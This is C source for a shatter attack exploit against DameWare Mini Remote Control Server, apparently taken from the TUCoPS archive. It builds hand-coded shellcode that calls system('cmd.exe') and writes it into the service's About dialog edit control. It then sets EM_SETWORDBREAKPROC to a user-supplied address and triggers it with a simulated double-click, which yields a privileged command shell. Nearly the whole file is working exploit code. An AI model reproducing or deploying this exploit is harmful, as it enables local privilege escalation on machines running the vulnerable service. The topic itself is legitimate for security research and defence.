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TUCoPS :: Windows Net Apps :: fm-shatt.c

Shatter attack exploit for DameWare Mini Remote Control Server




/*

    Shatter attack exploit for DameWare Mini Remote Control Server
    by ash@felinemenace.org

    see associated advisory

    This code is based on shards.cpp by xenophile

*/

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#pragma warning(disable: 4305)
#pragma warning(disable: 4309)
void MakeShellCode (char *buffer)
{
HMODULE hCRT;
void * lpSystem;
int count=0;

while (count < 36)
{
buffer [count] =0x90;
count ++;
}

buffer[37]=0x8B; buffer[38]=0xE5; buffer[39]=0x55;
buffer[40]=0x8B; buffer[41]=0xEC; buffer[42]=0x33;
buffer[43]=0xFF; buffer[44]=0x90; buffer[45]=0x57;
buffer[46]=0x83; buffer[47]=0xEC; buffer[48]=0x04;
buffer[49]=0xC6; buffer[50]=0x45; buffer[51]=0xF8;
buffer[52]=0x63; buffer[53]=0xC6; buffer [54]=0x45;
buffer[55]=0xF9; buffer[56]=0x6D; buffer [57]=0xC6;
buffer[58]=0x45; buffer[59]=0xFA; buffer[60]=0x64;
buffer[61]=0xC6; buffer[62]=0x45; buffer[63]=0xFB;
buffer[64]=0x2E; buffer[65]=0xC6; buffer[66]=0x45;
buffer[67]=0xFC; buffer[68]=0x65; buffer[69]=0xC6;
buffer[70]=0x45; buffer[71]=0xFD; buffer [72]=0x78;
buffer[73]=0xC6; buffer[74]=0x45; buffer [75] =0xFE;
buffer[76]=0x65;

hCRT = LoadLibrary("msvcrt.dll");
lpSystem = GetProcAddress( hCRT, "system" );
buffer[77]=0xB8;
buffer[78]=((char *)&lpSystem) [0];
buffer[79]=((char *)&lpSystem) [1];
buffer[80]=((char *)&lpSystem) [2];
buffer[81]=((char *)&lpSystem) [3];
buffer [82] =0x50; buffer[83]=0x8D; buffer[84]=0x45;
buffer[85]=0xF8; buffer[86]=0x50; buffer[87]=0xFF;
buffer [88]=0x55; buffer[89]=0xF4;
count = 90;
while (count < 291)
{
buffer [count] =0x90;
count ++;
}
buffer[291]=0x24; buffer[292]=0xF1; buffer [293]=0x5D;
buffer[294]=0x01; buffer[295]=0x26; buffer[296]=0xF1;
buffer [297] =0x5D; buffer[298]=0x01; buffer[299]=0x00;
buffer[300]=0x00;
return;
}
void ErrorNotify(DWORD err, char *title)
{
LPVOID lpMsgBuf;
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
err,
MAKELANGID (LANG_NEUTRAL, SUBLANG_DEFAULT), // Default language
(LPTSTR) &lpMsgBuf,
0,
NULL
) ;

printf("%s\n",lpMsgBuf);

LocalFree( lpMsgBuf );
};
#define SHELLCODE_SIZE (1024 * 256)
#define SHELLCODE_OFFSET (SHELLCODE_SIZE -400)
int main(int argc, char* argv[])
{
HWND hWnd;
HWND hWndChild;
char sc[SHELLCODE_SIZE];
char szWindowName[] = "About DameWare Mini Remote Control Server";
LONG lExecAddress;
sc[0] = 'x'; sc[1] = 'e'; sc[2] = 'n'; sc[3] = '0';
memset( &sc[4], 0x90, SHELLCODE_SIZE -4);
MakeShellCode( &sc[SHELLCODE_OFFSET] );
printf( "\nfm-shatterdame.c\nash@felinemenace.org\n" );
printf("--------------------------------------------------------------\n");
printf("Exploits shatter attack in DameWare Mini Remote Control Server\n");
printf("This is based on shards.cpp written by xenophile.\n") ;
printf("--------------------------------------------------------------\n");
printf(
"STEP 1: Finding our window!\n"
) ;



hWnd = FindWindow( NULL, szWindowName );
if( hWnd == NULL)
{

    printf("Couldn't find the dameware about dialogue. Open it and re-run this\n");
return 0;
}

hWndChild = FindWindowEx(hWnd, NULL, "Edit", NULL);

if( hWndChild == NULL)
{

printf("\tCouldn't find child edit control window\n");

return 0;
}

SendMessage( hWndChild, EM_SETREADONLY, 0, 0 );

SendMessage( hWndChild, EM_SETLIMITTEXT, SHELLCODE_SIZE, 0L );

if ( ! SendMessage( hWndChild, WM_SETTEXT, 0, (LPARAM)sc ) ) {
ErrorNotify ( GetLastError (), "error");
}
printf(
"\n\nSTEP 2: Enter shell code address. "
"This can be found using a debugger."
) ;
printf( "\nOn my XP SP1 machine 0x160000 worked.\n" );

printf( "\n\nEnter execution address: " );
scanf( "%x", &lExecAddress );

if ( ! SendMessage( hWndChild, EM_SETWORDBREAKPROC, 0L, (LPARAM)lExecAddress ) ) {
ErrorNotify( GetLastError(), "error" );
}

SendMessage( hWndChild, WM_LBUTTONDBLCLK, MK_LBUTTON, (LPARAM)0x000a000a );

return 0;
}


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